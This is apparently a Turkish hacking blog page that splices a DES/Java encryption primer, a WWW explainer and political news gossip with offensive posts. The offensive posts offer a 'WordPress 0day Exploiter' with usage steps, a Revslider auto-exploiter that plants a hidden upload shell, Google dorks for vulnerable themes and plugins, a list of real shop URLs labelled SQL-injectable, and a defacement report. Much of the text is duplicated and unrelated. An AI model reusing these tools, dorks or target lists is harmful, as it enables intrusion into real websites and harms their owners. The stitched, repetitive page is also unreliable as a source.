DESede de yakın akrabası DES gibi her kullanımında o kullanıma özel yeni bir anahtar yaratan fakat yine günümüz teknolojisi için algoritmasının yavaş kalmasıyla kullanılırlığını kaybetmeye başlamış bir öbek şifreleyicidir. 168-bit’lik anahtar uzunluğu onu DES’ten ayıran en önemli özelliği de olsa DESede sahip olduğu bu 168-bit’lik anahtar uzunluğunun yalnız 112-bit’ini efektif olarak kullanır.
DH (Diffie-Hellman):
Açık anahtarlı şifreleme algoritmalarından DH, iki katılımcının öncesinde herhangi bir bilgi alışverişi yapmadan güvenli olmayan bir kanal vasıtasıyla (güvenli bir şekilde) ortak bir
şifrede karar kılmalarına yarayan bir protokoldür. Algoritmanın asıl amacı, iki kullanıcının bir anahtarı güvenli bir şekilde birbirlerine iletmeleri ve daha sonrasında da bu anahtar yardımı ile şifreli mesajları birbirlerine gönderebilmelerini sağlamaktır. Algoritma anahtar değişimi ile sınırlıdır olmasına rağmen yinede birçok ticari uygulama bu anahtar değişimini kullanmıştır.
RSA:
RSA ise, hem mesaj şifreleme hem de elektronik imza amacıyla kullanılan daha çok ticari uygulamalarda tercih edilen tam sayılar üzerinde en iyileştirme yapılarak (integer factorization) oluşturulan değerlerden anahtarların üretildiği bir şifreleme teknolojisidir.
DSA:
Son olarak DSA ise anahtar oluşumunda logaritmik fonksiyonları kullanan, internet üzerinden güvenli iletişimi sağlayan TLS (transport layer security) kriptografik protokolü için sağladığı PFS (perfect forward secrecy) desteğiyle tanınan bir algoritmadır. Diğer bir deyişle, PFS temel olarak anahtarlardan birinin gelecekte tehlikeye girmesi durumunda diğer anahtarları güvence altına alan bir özelliktir.
Sonuç olarak asimetrik şifreleme sistemlerinin anahtar oluşumunda karmaşık matematiksel metotlar kullanmaları, onları simetrik şifreleme sistemlerine göre çok daha yavaş olmalarının başlıca sebebidir. Kullanım alanlarının simetrik şifreleme sistemlerine göre daha sınırlı olması ve uygulamada daha yavaş çalışmaları etkin olarak kullanılmamaları sonucunu doğurur. Yapılarının daha çok sunucu – kullanıcı ilişkili sistemlere ve mesaj doğrulama sistemlerine uygun olması, anahtar üretimi ve şifreleme işlemlerinin uzun sürmesi zayıf kalan yönleridir.
Son olarak da DES kriptolama algoritmasını Java programlama dilini kullanarak yazmış olduğum bir program üzerinde göstermek istiyorum. Yazmış olduğum bu program DES algoritmasını kullanarak verilen karakter dizilerini şifrelemeye yada şifrelenmiş bir dizinin şifresini çözmeye yarıyor.
Kod:
import java.io.UnsupportedEncodingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
public class DesEncrypter {
Cipher eCipher;
Cipher dCipher;
DesEncrypter(SecretKey key) {
try {
eCipher = Cipher.getInstance("DES");
dCipher = Cipher.getInstance("DES");
eCipher.init(Cipher.ENCRYPT_MODE, key);
dCipher.init(Cipher.DECRYPT_MODE, key);
} catch (javax.crypto.NoSuchPaddingException e) {
} catch (java.security.NoSuchAlgorithmException e) {
} catch (java.security.InvalidKeyException e) {
}
}
public String encrypt(String str) {
try {
byte[] utf8 = str.getBytes("UTF8");
// Şifreleme
byte[] enc = eCipher.doFinal(utf8);
// Bytes dizisini BASE64 ile karakter dizisine çevir
return new sun.misc.BASE64Encoder().encode(enc);
} catch (javax.crypto.BadPaddingException e) {
} catch (IllegalBlockSizeException e) {
} catch (UnsupportedEncodingException e) {
} catch (java.io.IOException e) {
}
return null;
}
public String decrypt(String str) {
try {
byte[] dec = new sun.misc.BASE64Decoder().decodeBuffer(str);
// Şifreyi çözme
byte[] utf8 = dCipher.doFinal(dec);
return new String(utf8, "UTF8");
} catch (javax.crypto.BadPaddingException e) {
} catch (IllegalBlockSizeException e) {
} catch (UnsupportedEncodingException e) {
} catch (java.io.IOException e) {
}
return null;
}
public static **** main(String[] args) {
try {
// Geçici bir anahtar oluştur
SecretKey key = KeyGenerator.getInstance("DES").generateKey();
// Şifreleyecek objeyi yarat
DesEncrypter encrypter = new DesEncrypter(key);
// Şifrele
String encrypted = encrypter.encrypt("E-Bergi Mart sayısı");
System.out.println(encrypted);
// Şifreyi çöz
String decrypted = encrypter.decrypt(encrypted);
System.out.println(decrypted);
} catch (Exception e) {
}
}
}
Wordpress 0day Exploiter
Download:http://www.datafilehost.com/d/ec2679ce (unselect Use our download manager and get recommended downloads)
Dorks:
Quote: Yazdı:inurl:/wp-content/themes/appius/
inurl:/wp-content/themes/Consultant/
inurl:/wp-content/themes/appius1/
inurl:/wp-content/themes/archin/
inurl:/wp-content/themes/averin/
inurl:/wp-content/themes/dagda/
inurl:/wp-content/themes/echea/
inurl:/wp-content/themes/felici/
inurl:/wp-content/themes/GantiDengantema/
inurl:/wp-content/themes/kmp/
inurl:/wp-content/themes/kmp2/
inurl:/wp-content/themes/themanya/
inurl:/wp-content/themes/liberal/
inurl:/wp-content/themes/liberal-media-bias/
inurl:/wp-content/themes/linguini/
inurl:/wp-content/themes/livewire/
inurl:/wp-content/themes/majestics/
inurl:/wp-content/themes/mathis/
inurl:/wp-content/themes/mazine/
inurl:/wp-content/themes/Orchestra/
inurl:/wp-content/themes/shopsum/
inurl:/wp-content/themes/shotzz/
inurl:/wp-content/themes/test/
inurl:/wp-content/themes/Viteeo/
inurl:/wp-content/themes/vithy/
inurl:/wp-content/themes/yvora/
inurl:/wp-content/themes/sodales/
Usage:
1- Simply paste the site URL,theme name, an your email in the textbox
2- Click on Confirm > Exploit
3- If your target is vulnerable, the "Register" button will be enabled
4- Click on Register and the webbrowser will bring you to the registration page
5- Enter your username and email
6- Check your email inbox for the confirmation and the password for your account.
7- Login to the site and there you go
Revslider upload shell exploit
Hi Guys i hope All fine incha'Allah :)
Today i will show u auto exploiter Revslider upload shell not read config
how script work
first u must upload this file : adres (revslider.zip)
than collect list and script and file revslider.zip in the same folder
after run the script in cmd .
the file revslider have up.php this is post upload work on up?coders=leet when we run our script will upload revslider.zip to site not shell and wll extrat manually
usage : php rev.php list.txt
rev.php is name of script exploitation u can named it whaeverlis.txt : list of sites vul
after upload Done u will show u path of shell go to it u will find message " Mr.MaGnoM codersleet ..." just u will add ?coder=leet to file will be up.php?coders=leet is just hide upload :)
rev.php script for exploit : adres
Dork : inurl:/wp-content/plugins/revslider/
entest Hedef Site Bilgi Toplama Aracı v1.0
Bu program Web Pentest işlemlerinde bilgi toplama aşamasında kullanılabilecek pratik bir pentest aracıdır. Program beta sürüm olup sorunlar çıkabilir. Çıkarsa bildirmeniz rica olur. Program hedef hakkında bir çok sonuç çıkabilir ve sonuçları kolayca kaydetme özelliğine sahiptir. Birden fazla kaynak siteleri kullanmaktadır. Tüm haklarım saklıdır kötüye kullanımda sorumlu kullanıcıya aittir. İndirme linki ve resimler aşağıdadır teşekkürler.
İndirme Linki:
adress
World Wide Web - Nedir ?
Merhaba arkadaşlar , bugün sürekli kullandığımız internetin temeli olan www 'nin açılımını inceleyeceğiz.
World Wide Web (kısaca WWW veya web), internet üzerinde yayınlanan birbirleriyle bağlantılı hiper-metin dokümanlarından oluşan bir bilgi sistemidir. Bu dokümanların her birine web sayfası adı verilir ve web sayfalarına internet kullanıcısının bilgisayarında çalışan web tarayıcısı adı verilen bilgisayar programları aracılığıyla erişilir. Web sayfalarında metin, imaj, video ve diğer multimedya öğeleri bulunabilir ve diğer bağlantı ya da link adı verilen hiper-bağlantılar ile başka web sayfalarına geçiş yapılabilir.
İnternet ve web terimleri aynı olguyu tanımlamaz. Zira web sadece internet üzerinde çalışan bir servistir. Web kavramı, CERN'de bir bilgisayar programcısı olan Tim Berners-Lee'nin HTML adlı metin işaretleme dilini geliştirmesiyle oluşmuştur. Bugün de kendisinin başkanı olduğu W3C (World Wide Web Consortium) tarafından standartları belirlenmektedir.
Yapısı[değiştir | kaynağı değiştir]
Web’in temeli İnternettir. Web İnternet üzerinde kurulmuştur ve İnternetin sunduğu mekanizmalardan çoğunun kullanılmasını sağlar. İnternetin fiziksel görünüşleri –bilgisayarlar, ağlar ve servisler- dünya üzerindeki diğer binlerce bilgisayara bağlanmamıza izin verir. Web, İnternetin en tepesindeki soyutlanmış genel servisler kümesidir. World-Wide Web (W3), insanların fikir ve projelerinin paylaşılmasını sağlayan bir bilgi ve kültür havuzudur. İstemci-sunucu uygulamaları ile yapılan birçok organizasyon üzerinde Web tarayıcıları İstemci olarak çalışabilirler. Web yürütümü standart İstemci-sunucu modelini izler. Aşağıdaki şekilde gösterildiği gibi "Web tarayıcısı" adı verilen programı çalıştıran bir istemci bilgisayar ile Web sunucu yazılımı çalıştıran bir sunucu bilgisayar arasındaki etkileşime "İstemci-sunucu" etkileşimi adı verilir. İstemci bilgisayar sunucudan HTTP'yi (Hypertext Transfer Protocol) ve Internet mesaj standartı olan TCP/IP'yi kullanarak bir doküman ister ve sunucu istemcinin göstereceği dokümanı geri döndürür.
"World-Wide Web" ibaresi HTTP ile anlaşan sunucuların kolektif ağını ifade etmek için kullanılır. HTTP var olan bilgilerin kullandıkları protokolün global yapısıdır.
Web tarayıcılarının ve sunucularının kendi aralarında iletişim için kullandıkları protokole HTTP (Hypertext Transafer Protocol) adı verilir. Bunun için Web Sunuculara genellikle HTTP Sunucu veya HTTP Deaemons (HTTPD) denir.
Sunucular ve istemciler arasındaki iş paylaşımı[değiştir | kaynağı değiştir]
Tarayıcı istemcinin isteğini sunucuya iletir. İsim sunucularının, domain isimlerinin, adres isimlerinin ve fiziksel konumların tutulduğu diğer araçlarla iletir. Tarayıcı CIO.com - Tech News, Analysis, Blogs, Video için istekleri karşılayan makineye doğru iletir.
Bilgiler Web Sunucuya gelince, sunucu onları başka bir işleme gönderir (arama işlemi veya bir uygulama) ve bir süre bekler. Cevabı alırsa nesneyi sizin tarayıcınıza gönderir. Tarayıcınız birçok değisik parçayı birlikte tutar. Bir Web sayfası ağ üzerindeki birçok nesnenin referansını tutabilir. Hepsini birlikte çeker ve son ürünü size sunar.
World Wide Web (kısaca WWW veya web), internet üzerinde yayınlanan birbirleriyle bağlantılı hiper-metin dokümanlarından oluşan bir bilgi sistemidir. Bu dokümanların her birine web sayfası adı verilir ve web sayfalarına internet kullanıcısının bilgisayarında çalışan web tarayıcısı adı verilen bilgisayar programları aracılığıyla erişilir. Web sayfalarında metin, imaj, video ve diğer multimedya öğeleri bulunabilir ve diğer bağlantı ya da link adı verilen hiper-bağlantılar ile başka web sayfalarına geçiş yapılabilir.
İnternet ve web terimleri aynı olguyu tanımlamaz. Zira web sadece internet üzerinde çalışan bir servistir. Web kavramı, CERN'de bir bilgisayar programcısı olan Tim Berners-Lee'nin HTML adlı metin işaretleme dilini geliştirmesiyle oluşmuştur. Bugün de kendisinin başkanı olduğu W3C (World Wide Web Consortium) tarafından standartları belirlenmektedir.
Yapısı[değiştir | kaynağı değiştir]
Web’in temeli İnternettir. Web İnternet üzerinde kurulmuştur ve İnternetin sunduğu mekanizmalardan çoğunun kullanılmasını sağlar. İnternetin fiziksel görünüşleri –bilgisayarlar, ağlar ve servisler- dünya üzerindeki diğer binlerce bilgisayara bağlanmamıza izin verir. Web, İnternetin en tepesindeki soyutlanmış genel servisler kümesidir. World-Wide Web (W3), insanların fikir ve projelerinin paylaşılmasını sağlayan bir bilgi ve kültür havuzudur. İstemci-sunucu uygulamaları ile yapılan birçok organizasyon üzerinde Web tarayıcıları İstemci olarak çalışabilirler. Web yürütümü standart İstemci-sunucu modelini izler. Aşağıdaki şekilde gösterildiği gibi "Web tarayıcısı" adı verilen programı çalıştıran bir istemci bilgisayar ile Web sunucu yazılımı çalıştıran bir sunucu bilgisayar arasındaki etkileşime "İstemci-sunucu" etkileşimi adı verilir. İstemci bilgisayar sunucudan HTTP'yi (Hypertext Transfer Protocol) ve Internet mesaj standartı olan TCP/IP'yi kullanarak bir doküman ister ve sunucu istemcinin göstereceği dokümanı geri döndürür.
"World-Wide Web" ibaresi HTTP ile anlaşan sunucuların kolektif ağını ifade etmek için kullanılır. HTTP var olan bilgilerin kullandıkları protokolün global yapısıdır.
Web tarayıcılarının ve sunucularının kendi aralarında iletişim için kullandıkları protokole HTTP (Hypertext Transafer Protocol) adı verilir. Bunun için Web Sunuculara genellikle HTTP Sunucu veya HTTP Deaemons (HTTPD) denir.
Sunucular ve istemciler arasındaki iş paylaşımı[değiştir | kaynağı değiştir]
Tarayıcı istemcinin isteğini sunucuya iletir. İsim sunucularının, domain isimlerinin, adres isimlerinin ve fiziksel konumların tutulduğu diğer araçlarla iletir. Tarayıcı CIO.com - Tech News, Analysis, Blogs, Video için istekleri karşılayan makineye doğru iletir.
Bilgiler Web Sunucuya gelince, sunucu onları başka bir işleme gönderir (arama işlemi veya bir uygulama) ve bir süre bekler. Cevabı alırsa nesneyi sizin tarayıcınıza gönderir. Tarayıcınız birçok değisik parçayı birlikte tutar. Bir Web sayfası ağ üzerindeki birçok nesnenin referansını tutabilir. Hepsini birlikte çeker ve son ürünü size sunar.
12 tane alışveriş sitesi sql acıklı
http://www.rcdeal.com/modules/stores/store.php?id=4
http://www.oaxis.com/shop/product_detail.php?id=11
http://teamgear.us/store.php?id=1
http://www.ttlures.com.au/product.php?id=191
http://www.sabghijewelers.com/online-store.php?id=5
http://www.mbtagifts.com/shop.php?c=4
http://www.juliefowlis.com/store/product.php?id=327&categoryid=19
http://www.karnaticlabrecords.com/cart.php?id=88
http://www.pinoy-market.com/store.php?id=136
http://hollandbros.net/store.php?id=31
http://www.oceancoffee.com/product.php?id=63
http://www.antiquesincanada.com/shop.php?myID=496
http://www.ngxtech.com/shop/index.php?cPath=10&task=cat
Wordpress Dork
inurl:/wp-content/themes/appius/
inurl:/wp-content/themes/Consultant/
inurl:/wp-content/themes/appius1/
inurl:/wp-content/themes/archin/
inurl:/wp-content/themes/averin/
inurl:/wp-content/themes/dagda/
inurl:/wp-content/themes/echea/
inurl:/wp-content/themes/felici/
inurl:/wp-content/themes/GantiDengantema/
inurl:/wp-content/themes/kmp/
inurl:/wp-content/themes/kmp2/
inurl:/wp-content/themes/themanya/
inurl:/wp-content/themes/liberal/
inurl:/wp-content/themes/liberal-media-bias/
inurl:/wp-content/themes/linguini/
inurl:/wp-content/themes/livewire/
inurl:/wp-content/themes/majestics/
inurl:/wp-content/themes/mathis/
inurl:/wp-content/themes/mazine/
inurl:/wp-content/themes/Orchestra/
inurl:/wp-content/themes/shopsum/
inurl:/wp-content/themes/shotzz/
inurl:/wp-content/themes/test/
inurl:/wp-content/themes/Viteeo/
inurl:/wp-content/themes/vithy/
inurl:/wp-content/themes/yvora/
inurl:/wp-content/themes/sodales/
inurl:/wp-content/themes/Consultant/
inurl:/wp-content/themes/appius1/
inurl:/wp-content/themes/archin/
inurl:/wp-content/themes/averin/
inurl:/wp-content/themes/dagda/
inurl:/wp-content/themes/echea/
inurl:/wp-content/themes/felici/
inurl:/wp-content/themes/GantiDengantema/
inurl:/wp-content/themes/kmp/
inurl:/wp-content/themes/kmp2/
inurl:/wp-content/themes/themanya/
inurl:/wp-content/themes/liberal/
inurl:/wp-content/themes/liberal-media-bias/
inurl:/wp-content/themes/linguini/
inurl:/wp-content/themes/livewire/
inurl:/wp-content/themes/majestics/
inurl:/wp-content/themes/mathis/
inurl:/wp-content/themes/mazine/
inurl:/wp-content/themes/Orchestra/
inurl:/wp-content/themes/shopsum/
inurl:/wp-content/themes/shotzz/
inurl:/wp-content/themes/test/
inurl:/wp-content/themes/Viteeo/
inurl:/wp-content/themes/vithy/
inurl:/wp-content/themes/yvora/
inurl:/wp-content/themes/sodales/
29 Mart 2015 Pazar
Suzuki Vietnam Hacklendi
Dünyaca ünlü otomotiv firması Suzuki Vietnam resmi domaini "ALLİGATOR " kod adlı defacerin düzenlemiş olduğu saldırı sonucunda hacklenerek yayın akışı aksatıldı
Site ve Kayıtları
http://www.suzuki.com.vn/
http://www.mirror-z.com/mirror/166133
http://www.aljyyosh.org/mirror.php?id=215662
http://hack-mirror.com/230261.html
SON DAKİKA HABERLERİ
Abdullah Öcalan'dan Sırrı Süreyya Önder'e adaylık iknası
SIRRI Süreyya Önder, TBMM’nin en popüler simaları arasında yer alıyor.
Nüktedanlığı sayesinde diğer partililerin de sempatisini kazanmış bir siyasetçi. Önder, 3 ay önce yaptığı bir İmralı ziyaretinde Abdullah Öcalan’a “Ben ‘bir dönem’ demiştim, bir daha aday olmayacağım” diyerek milletvekilliğini bırakma niyetini açmıştı. Öcalan da “Olur” yanıtını verince Önder kararını kesin olarak açıklamış, ancak ciddi itirazlarla karşılaşmıştı. Önder’in milletvekilliğini bırakması Çözüm Süreci diyaloglarına kadar yansımıştı.
ŞAKAYLA KARIŞIK
Gelen son bilgiler, Önder’in kararından vazgeçmesi için ikna edildiğini gösteriyor. İkna çabasında Öcalan’ın belirleyici olduğu da bu bilgiler arasında. Hatta Öcalan’ın Önder’e ‘kalması’ mesajını, her kesimden temsilcilerin yani masaya oturan ‘devlet temsilcileri’nin bulunduğu bir ortamda verdiği de konuşuluyor. Bu durumda -şakayla karışık- müzakerelere katılan devlet kanadının da Önder’in milletvekilliği üzerindeki konsensüse dolaylı bir şekilde katıldığı yorumları yapılıyor. Önder, İmralı’daki bu görüşmede Öcalan “Sen devam et“ deyince, “O zaman Ankara’dan aday olurum” çıkışını yapmış. Gerekçesini de şöyle açıklamış: “Madem Türkiyelileşiyoruz, o zaman Türkiye’nin başkentinden vekili olmayan Türkiye partisi olmaz.”
KİLİT İSİMLERLE
Evet, Sırrı Süreyya Önder, HDP’nin Ankara 1. Bölgesi’nden yarışa girecek. Kimlerle mi? Mesela, Çözüm Süreci’nde sık sık görüştüğü, önceki gün de ‘HDP bizim siyasi rakibimiz’ diyen Başbakan Yardımcısı Yalçın Akdoğan’la… Çözüm Süreci’nin bir başka kilit ismi, Cumhurbaşkanı’nın ‘sır küpüm’ dediği Hakan Fidan da aday olsa Önder’in rakibi olacaktı. Ancak Fidan’ın yerine Cumhurbaşkanı’nın başka bir ‘sır küpü’ olacak: Mücahit Arslan. Bu arada Önder, Ak Parti’den ciddi oranda oy alacağından emin gözüküyor.
AK Parti kapıyı kapattı
ŞİMDİLERDE dizi oyuncusu olan eski manken Tuğçe Kazaz’ın hakkındaki en sansasyonel haberler din değiştirdiğinde çıkmıştı. Aşkı için Hıristiyan oluşu, boşandıktan sonra Uzak Doğu felsefesine kendisini yakın hissetmesi, ardından İslam’a dönüp Umre’ye gitmesi ve dini konularda verdiği mesajlar çok konuşuldu. Şimdilerde de attığı tweet’lerle, hükümete verdiği destekle ve TRT’de kaptığı başrolle gündemimizde.
Bu kulisi okuduğunuzda magazin dünyasının ya da sosyal mecraları Kazaz’ın siyasi vizyonuna dar geldiğini, artık kendisini siyasetin uçsuz bucaksız ortamlarında göstermek istediğini anlayacaksınız. Ankara kulislerine yayılan bilgilere göre, Kazaz geçenlerde Ankara’ya gelmiş ve bazı sondajlarda bulunmuş. Önce Cumhurbaşkanı Tayyip Erdoğan’dan randevu istemiş. Ancak Erdoğan’ın kurmayları Kazaz’ı AK Parti yöneticilerine yönlendirmiş. Kazaz da bir arkadaşıyla birlikte AK Parti’nin kapısına dayanıp AK Parti Seçim İşleri Başkanı Mustafa Şentop’la görüşmek için uğraşmış. Kazaz, Şentop’la ayaküstü konuşmayı da başarmış ve AK Parti’de siyaset yapmak istediğini anlatmış. Şentop ise Kazaz’a AK Parti’ye hizmet etmenin birden fazla yolu olduğunu anlatarak kapıyı aralamamış. Kazaz’ın adaylık hayallerinin bu durumda bir sonraki seçime ertelendiği anlaşılıyor.
Bu kulisi okuduğunuzda magazin dünyasının ya da sosyal mecraları Kazaz’ın siyasi vizyonuna dar geldiğini, artık kendisini siyasetin uçsuz bucaksız ortamlarında göstermek istediğini anlayacaksınız. Ankara kulislerine yayılan bilgilere göre, Kazaz geçenlerde Ankara’ya gelmiş ve bazı sondajlarda bulunmuş. Önce Cumhurbaşkanı Tayyip Erdoğan’dan randevu istemiş. Ancak Erdoğan’ın kurmayları Kazaz’ı AK Parti yöneticilerine yönlendirmiş. Kazaz da bir arkadaşıyla birlikte AK Parti’nin kapısına dayanıp AK Parti Seçim İşleri Başkanı Mustafa Şentop’la görüşmek için uğraşmış. Kazaz, Şentop’la ayaküstü konuşmayı da başarmış ve AK Parti’de siyaset yapmak istediğini anlatmış. Şentop ise Kazaz’a AK Parti’ye hizmet etmenin birden fazla yolu olduğunu anlatarak kapıyı aralamamış. Kazaz’ın adaylık hayallerinin bu durumda bir sonraki seçime ertelendiği anlaşılıyor.
Tuzluk taraması
AK Parti’de milletvekili aday adayı listeleri üzerinde ilk tarama yapıldı. Yaklaşık 6200 aday komisyonlarda tek tek incelendi ve 1200 aday ‘ikinci tur’a kaldı. Bugünlerde Başbakan Ahmet Davutoğlu’nun da bizzat başkanlık ettiği toplantılarda aday listeleri netleştirilmeye çalışılıyor. Hürriyet Parlamento Büro Şefimiz Nuray Babacan’ın konuştuğu AK Partililere bakılırsa bu iş o kadar da kolay olmuyor. Çünkü 12 alt komisyon, 7 Haziran’da yapılacak genel seçimlerde AK Parti’den aday olmak isteyen isimlerde sadece partinin standart şartlarını aramadı, aynı zamanda bir ‘tuzluk taraması’ da yaptı.
PARALEL SAKLANMA
Malum, AK Parti camiası, parti saflarından TBMM’ye girip, AK Parti-Cemaat kavgası başlayınca ayrılan milletvekillerine ‘tuzluk’ adını takmıştı. Alt komisyonlardan birinde görevli AK Partili bir kurmay yaptıkları taramayı şöyle anlattı: “Mülakatlar sırasında çapraz sorularla sadece bizim komisyon 4-5 ismin Paralel Yapı ile bağlantısını tespit etti. Kendilerini çok iyi saklıyorlar ama sorulara verdikleri cevaplar üzerine bazı isimlerle ilgili şüphelerimiz oluştu. Teşkilatın, bölge milletvekillerinin, STK’ların desteğini alan öyle isimler oldu ki, biraz derinlemesine araştırınca, Paralelci olduğunu öğrendik, listeden çıkardık.”
İSTİHBARAT DESTEĞİ
Alt komisyonlar çok sayıda aday adayını eledi ama sayıları 20 civarında olan bazı isimler üzerinde tereddüt yaşandı. Bu durumda olan aday adaylarının isimlerinin yanına soru işareti eklendi ve bu kişilerle ilgili bir ‘kaçak’ olmaması için üst komisyona ‘profesyonel destek’ alınarak derinlemesine tarama önerildi. Profesyonel destek nereden mi alındı?
AK Parti kulislerinde dolaşan haberlere bakılırsa, bu destek istihbarat camiasından alındı. Bu kulis bilgisini resmi kaynaklara doğrulatabilmek kuşkusuz çok zor. Ama bu desteğin alındığı bilgisine itibar eden çok isim var AK Parti içinde. Kim bilir, AK Parti’deki ikinci taramanın ardından son tuzluk taraması da belki Beştepe’de yapılır.
AK Parti kulislerinde dolaşan haberlere bakılırsa, bu destek istihbarat camiasından alındı. Bu kulis bilgisini resmi kaynaklara doğrulatabilmek kuşkusuz çok zor. Ama bu desteğin alındığı bilgisine itibar eden çok isim var AK Parti içinde. Kim bilir, AK Parti’deki ikinci taramanın ardından son tuzluk taraması da belki Beştepe’de yapılır.
Seçici ahlak ahlaksızlıktır
YABANCI basında son yıllarda başta ‘düşünce özgürlüğü’ ve ‘Suriye’deki muhaliflere destek’ olmak üzere birçok konuda Türkiye’nin aleyhinde yazılar arttı. Son eleştirilerden biri de New York Times Gazetesi’nden gelmişti. Dünyaca ünlü gazete, başyazısında Türkiye’yi açıkça Suriye’deki yabancı savaşçılara, yani IŞİD ve El Nusra gibi terör örgütlerine yeterli mesafeyi koymamakla suçladı. Bu ağır suçlamaya Ankara’dan anında sert karşılıklar geldi. Ancak bir yanıt daha vardı ki, gözlerden kaçtı. Türkiye’nin Washington Büyükelçisi Serdar Kılıç, makaleye tepki gösterirken şu ifadeyi kullandı: “Bu makale bir utançtır. Türkiye elinden gelenin en iyisini yapıyor. Ancak Batılı ülkeler Türkiye ile yeteri kadar istihbarat paylaşımında bulunmuyor. Sonrasında suçu Türkiye’ye atıyorsunuz. Bu seçici bir ahlak anlayışıdır ve seçici ahlaksa ahlaksızlıktır.”
Geçmişte yabancı basın, hele hele New York Times, Washington Post gibi dünyada ses getiren gazeteler olumsuz eleştiriler yaptığında Türk siyasetçiler sert çıkar, buna karşılık Türk diplomatlar ortamı yumuşatmaya çalışırlar, tansiyonu düşürerek yaratılan olumsuz algıyı düzeltilmeye çalışırlardı. Öyle anlaşılıyor ki ‘Yeni Türkiye’de diplomatlar da artık siyasetçiler ile aynı dili kullanıyorlar, ‘inceldiği yerden kopsun’ yaklaşımını sergiliyor. Dünyanın en saygın gazetelerinden biri olan New York Times’ı “ahlaksızlıkla” suçlayan bir Washington büyükelçisi bundan sonra bu gazetenin kapısını nasıl çalabilecek?
